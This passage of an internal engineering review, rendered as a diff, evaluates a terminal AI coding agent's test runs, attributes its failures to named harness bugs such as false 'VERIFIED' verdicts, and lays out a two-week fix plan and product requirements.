| 4 | `&&` npm scripts refused | `command.mjs:397` | **1**, very common shape | **minutes** |
|
|
350
|
+
| 5 | No handoff scaffold | `turn.mjs:252-408` | **1** | hours |
|
|
351
|
+
|
|
352
|
+
---
|
|
353
|
+
|
|
354
|
+
## 3. ⭐ Does the "horizon not IQ" thesis survive?
|
|
355
|
+
|
|
356
|
+
**The claim under test:** every failure is a budget ceiling — rounds, tokens, context —
|
|
357
|
+
rather than a model limitation.
|
|
358
|
+
|
|
359
|
+
### 3.1 It is refuted for the observed failure set, and the refutation is direct
|
|
360
|
+
|
|
361
|
+
**Zero of the seven confirmed root causes is horizon-bound.** Every one carries
|
|
362
|
+
`is_horizon: false`, and four were reproduced *with the model removed entirely* (injected
|
|
363
|
+
stubs, no API spend) — a defect you can reproduce without a model cannot be a model or
|
|
364
|
+
budget defect.
|
|
365
|
+
|
|
366
|
+
Three pieces of evidence are decisive rather than merely suggestive:
|
|
367
|
+
|
|
368
|
+
1. **The controlled budget experiment came back negative.** The horizon agent ran the
|
|
369
|
+
identical prompt at `--max-tokens 8000` and `--max-tokens 16000`, same 8 rounds, fresh
|
|
370
|
+
dirs. **Both exited 0, both printed `✔ VERIFIED`, both shipped an inert CLI.**
|
|
371
|
+
Doubling the budget changed the cost and changed nothing else. That is the thesis
|
|
372
|
+
tested on its own terms.
|
|
373
|
+
|
|
374
|
+
2. **Three failing runs stopped with budget in hand.** The scaffold failure stopped at
|
|
375
|
+
round 5 of 7. The inert-program run stopped at round 3 of 6. Both exited via
|
|
376
|
+
`stoppedBecause='verified'`, never `'round-cap'`. **They did not run out of room; they
|
|
377
|
+
were told they had finished.**
|
|
378
|
+
|
|
379
|
+
3. **The failures are in our code, at named lines.** A response-shape mismatch
|
|
380
|
+
(`media.mjs:143`), a try/catch closing brace (`model.mjs:276`), an array index
|
|
381
|
+
(`turn.mjs:1130`), a character class (`command.mjs:96`). None of these gets better
|
|
382
|
+
with a bigger model or a bigger budget.
|
|
383
|
+
|
|
384
|
+
Meanwhile the *successes* also refute it from the other side: the kanban app landed in
|
|
385
|
+
**3 rounds**, the real bug was found in **one round of looking**. Neither needed horizon
|
|
386
|
+
either.
|
|
387
|
+
|
|
388
|
+
### 3.2 The thesis was pointing at the wrong axis — there is a third category
|
|
389
|
+
|
|
390
|
+
Horizon-vs-IQ is a **two-axis frame and the data lands off both axes.** The controlling
|
|
391
|
+
variable in all seven cases is a third thing:
|
|
392
|
+
|
|
393
|
+
> ⭐ **The harness is the ceiling.** The model called `see_page` unprompted and correctly;
|
|
394
|
+
> we discarded the result. The model decomposed a chained npm script under refusal; we
|
|
395
|
+
> refused it for no executable reason. The model diagnosed its own Windows path bug and
|
|
396
|
+
> its own `io.file ?? parsed.file` precedence bug; we then scored the session on an
|
|
397
|
+
> unrelated command. **In every observed failure the agent's judgement was sound and our
|
|
398
|
+
> plumbing was not.**
|
|
399
|
+
|
|
400
|
+
This is a genuinely better position than either alternative. Horizon problems cost money
|
|
401
|
+
forever; IQ problems require waiting for someone else's model. **Plumbing problems are
|
|
402
|
+
ours, they are cheap, and four of the five ranked items are "hours".**
|
|
403
|
+
|
|
404
|
+
### 3.3 ⚠️ Where the data is honestly too thin to tell
|
|
405
|
+
|
|
406
|
+
Say this plainly rather than over-claiming the refutation:
|
|
407
|
+
|
|
408
|
+
- **Nothing tested a task that genuinely needs 20+ rounds.** `ENTERPRISE.md:491` claims
|
|
409
|
+
*"a refactor that needs twenty tool rounds cannot be expressed here"* and **no evidence
|
|
410
|
+
above touches it.** The largest observed task was 6 files. The horizon thesis is
|
|
411
|
+
refuted **for tasks in the 3–8 round band**; for genuinely long work it is *untested*,
|
|
412
|
+
not disproven. Do not cite this document as having settled it.
|
|
413
|
+
- **`is_horizon: false` on the inert-program cases is inferential.** They stopped as
|
|
414
|
+
`'verified'` because the verdict is broken — so we cannot know whether more rounds
|
|
415
|
+
would have helped, because the loop was never told it had failed. **Fix §2.1 first,
|
|
416
|
+
then re-run the horizon bench.** That measurement is only meaningful afterwards.
|
|
417
|
+
- **One model, one provider.** Everything ran on `deepseek/deepseek-v4-flash-0731`. The
|
|
418
|
+
IQ half of the thesis has not been tested at all — nobody ran the same corpus on a
|
|
419
|
+
frontier model. `ENTERPRISE.md:494-498` concedes the point honestly and this evidence
|
|
420
|
+
neither supports nor contradicts it.
|
|
421
|
+
|
|
422
|
+
**Verdict: REFUTED for the observed set, with the horizon question for large tasks
|
|
423
|
+
still open — and unmeasurable until §2.1 lands.**
|
|
424
|
+
|
|
425
|
+
---
|
|
426
|
+
|
|
427
|
+
## 4. Build order for the next two weeks
|
|
428
|
+
|
|
429
|
+
Numbered, each justified by an observation above. Nothing here is on the
|
|
430
|
+
`ENTERPRISE.md` §4 security list or the `MVP-PLAN.md` §7 cut line; both run in parallel
|
|
431
|
+
and neither is superseded.
|
|
432
|
+
|
|
433
|
+
### Week 1 — make the output true
|
|
434
|
+
|
|
435
|
+
1. **Fix the verdict reduction (`turn.mjs:1130`).** *Hours.*
|
|
436
|
+
→ Unblocks four observed failures, more than anything else on this list, and it is
|
|
437
|
+
load-bearing for the two headline claims in `ENTERPRISE.md` (§1.3 build step, §5
|
|
438
|
+
"exit code is a verdict"). Ship the reduce-over-`runs` and the per-command `attempts`
|
|
439
|
+
together; add the `⚠ RAN, NOT VERIFIED` fourth state in the same commit. Test:
|
|
440
|
+
fail-then-pass across rounds must yield `passed:false` and non-zero exit.
|
|
441
|
+
|
|
442
|
+
2. **Split `&&` in `validateNpmScriptChain` (`command.mjs:397`).** *Minutes.*
|
|
443
|
+
→ Observed to cost a paid round in a real run, on the most common test-script shape
|
|
444
|
+
there is. Cheapest confirmed fix in the package, and the executor needs no change at
|
|
445
|
+
all. **Add the missing test** — this path has zero coverage today.
|
|
446
|
+
|
|
447
|
+
3. **Guard the stream read and make timeouts retryable (`model.mjs:290-299`,
|
|
448
|
+
`chain.mjs:79`).** *Hours.*
|
|
449
|
+
→ Observed as a raw stack trace, exit 1, **zero files written**, and the fallback
|
|
450
|
+
chain provably never fires (`isRetryable(…) = false`, measured). Ship the try/catch
|
|
451
|
+
extension first — it converts a crash into a handled failure on its own — then the
|
|
452
|
+
idle timer, then the structured `{kind:'timeout'}`.
|
|
453
|
+
|
|
454
|
+
4. **Load env, then unwrap the `see_page` envelope (`media.mjs:143-162`).** *Hours.*
|
|
455
|
+
→ The tool `MVP-PLAN.md:23` calls the entire positioning returns `[]` in a real
|
|
456
|
+
terminal, and returns nothing useful even when configured. Ship in this order: env
|
|
457
|
+
loading (else the fix is invisible), envelope unwrap, findings mapping from the six
|
|
458
|
+
real keys, **loud failure on unrecognised shape**, contract test on
|
|
459
|
+
`{ok, measurement:{…}}`.
|
|
460
|
+
|
|
461
|
+
5. **Re-run the horizon bench.** *Hours.*
|
|
462
|
+
→ §3.3: the horizon question is unmeasurable while a broken verdict ends runs early
|
|
463
|
+
as `'verified'`. Once 1 and 4 land, re-run the same two prompts at 8k/16k tokens. If
|
|
464
|
+
the CLI now reports honest failure and *then* runs out of rounds, the thesis becomes
|
|
465
|
+
testable for the first time. **Publish the result either way.**
|
|
466
|
+
|
|
467
|
+
### Week 2 — make the loop finish the job
|
|
468
|
+
|
|
469
|
+
6. **Deterministic handoff scaffold after a verified run.** *Hours.*
|
|
470
|
+
→ Observed: a run stopped with two rounds unspent and wrote no `package.json`, so
|
|
471
|
+
`npm test` ENOENTs on a project the CLI just built. Synthesise from
|
|
472
|
+
`verification.command` + the change list, behind the existing
|
|
473
|
+
offered-never-silently-written gate. Plus the one-line refusal improvement at
|
|
474
|
+
`command.mjs:578`.
|
|
475
|
+
|
|
476
|
+
7. **Scope the verdict to the deliverable.** *Hours.*
|
|
477
|
+
→ Observed: a green `node --test` over a blank `index.html`. When an `.html` file was
|
|
478
|
+
written and never rendered, say so instead of an unqualified `✔ VERIFIED`; flag a page
|
|
479
|
+
whose only script is a bare relative ES module as `file://`-unopenable. This is the
|
|
480
|
+
half of §2.1 that needs §2.2 landed first — hence week 2.
|
|
481
|
+
|
|
482
|
+
8. **Fix `MVP-PLAN.md` §3 (`--json`, test count).** *Minutes.*
|
|
483
|
+
→ §0. A plan that under-reports its own coverage stops being consulted.
|
|
484
|
+
|
|
485
|
+
9. **The regression corpus, checked in.** *Hours.*
|
|
486
|
+
→ Five agents produced ~25 verified runs and **not one is reproducible from this
|
|
487
|
+
repo.** Every observation in this document came from a temp dir that no longer
|
|
488
|
+
exists. Check in the kanban prompt, the orders-api fixture with its planted
|
|
489
|
+
off-by-one, the inert-program case and the chained-npm-script case as fixtures with
|
|
490
|
+
expected verdicts. Otherwise week 3 re-discovers week 1.
|
|
491
|
+
|
|
492
|
+
⚠️ **Explicitly not in these two weeks:** parallel tasks, sub-agents, colour, PR opening,
|
|
493
|
+
entitlements, an audit log. Every one is real and every one is downstream of a loop whose
|
|
494
|
+
verdict currently lies.
|
|
495
|
+
|
|
496
|
+
---
|
|
497
|
+
|
|
498
|
+
## 5. What would have to be true for this to be a serious technology product
|
|
499
|
+
|
|
500
|
+
Unsentimental. The tool is good. A tool is not a product.
|
|
501
|
+
|
|
502
|
+
**What is already true and genuinely rare.** The safety boundary is small enough to read
|
|
503
|
+
in an afternoon and it survived 33 adversarial cases. The write-run-fix loop works on
|
|
504
|
+
real code and was verified by people trying to disprove it. It makes PDFs and speech from
|
|
505
|
+
one prompt. Zero dependencies. Roughly a fifth of a cent per task. That combination does
|
|
506
|
+
not exist elsewhere and it is worth defending.
|
|
507
|
+
|
|
508
|
+
**What has to become true.**
|
|
509
|
+
|
|
510
|
+
1. **The exit code must be trustworthy — not usually, always.** Everything else here is a
|
|
511
|
+
feature; this is the *contract*. Two docs already sell it and four observed failures
|
|
512
|
+
break it. Until fixed, every claim in this repo rests on a number that lies. It is
|
|
513
|
+
also the cheapest item on the list, which makes shipping without it inexcusable.
|
|
514
|
+
|
|
515
|
+
2. **The differentiator must be on by default.** *"It can see"* is the entire wedge
|
|
516
|
+
(`MVP-PLAN.md:23-28`), and in a plain terminal `mediaToolNames(process.env)` is `[]`.
|
|
517
|
+
A capability that requires knowing which of two `.env.local` files to source is not a
|
|
518
|
+
product feature; it is an internal demo. This must work on a stranger's laptop, first
|
|
519
|
+
run, with a documented setup line — or it is not a differentiator, it is a story.
|
|
520
|
+
|
|
521
|
+
3. **A polyglot answer, or an honest narrowing.** `ALLOWED_BINARIES` is `node`, `npm`,
|
|
522
|
+
`npx`, `tsc`. A Python, Go, Rust or Java shop cannot run a single test, which degrades
|
|
523
|
+
the one thing that works into "writes files and cannot check them"
|
|
524
|
+
(`ENTERPRISE.md` §5.1). Two defensible paths: **add languages behind per-language
|
|
525
|
+
argument grammars** (the safety argument survives, the work is real), or **declare it
|
|
526
|
+
the JS/TS tool** and stop pretending otherwise. Both are serious. Leaving it ambiguous
|
|
527
|
+
is not.
|
|
528
|
+
|
|
529
|
+
4. **Reproducible numbers that someone else can run.** Every number in this document came
|
|
530
|
+
from a temp directory that no longer exists. A serious product ships a corpus, a
|
|
531
|
+
command, and a published result. ⭐ **Nobody in this category publishes reproducible
|
|
532
|
+
benchmarks.** Being first is credibility marketing cannot buy — and it is the natural
|
|
533
|
+
home for the honest horizon-vs-IQ answer §3.3 says we do not yet have.
|
|
534
|
+
|
|
535
|
+
5. **A distribution decision, made rather than deferred.** BYOK means the tool is free and
|
|
536
|
+
earns nothing (`MVP-PLAN.md:151-153`). Fine for adoption, fatal as an oversight. And a
|
|
537
|
+
BYOK user running Cline on their own DeepSeek key pays the same price we do — so
|
|
538
|
+
**"cheaper" is not the pitch, "it can see and it makes PDFs" is.** Decide, write it
|
|
539
|
+
down, price against *that*.
|
|
540
|
+
|
|
541
|
+
6. **The failure modes must be as well-engineered as the refusals.** The refusal messages
|
|
542
|
+
are the best-written thing in the package and they are why the agent recovers instead
|
|
543
|
+
of flailing. The crash path is a raw stack trace. A product's worst day is what it is
|
|
544
|
+
judged on.
|
|
545
|
+
|
|
546
|
+
7. **Zero users, still.** `MVP-PLAN.md:209` says it and it remains the only sentence that
|
|
547
|
+
matters. **Nothing in this document distributes anything.** Weeks 1–2 make the tool
|
|
548
|
+
honest, which is a prerequisite for showing it to anyone — not a substitute for doing
|
|
549
|
+
so. The GitHub repo in the README still does not exist, and it is the first command a
|
|
550
|
+
stranger runs.
|
|
551
|
+
|
|
552
|
+
⭐ **The one-line version.** Acuvo Code is a good tool whose agent outperforms its
|
|
553
|
+
plumbing, whose headline capability is switched off, and whose verdict does not yet mean
|
|
554
|
+
what two documents say it means. Fix those three and the honest pitch — *the terminal
|
|
555
|
+
agent that can look at what it built, and whose exit code you can put in a build script*
|
|
556
|
+
— becomes true. It is not true today, and all three fixes are measured in hours.
|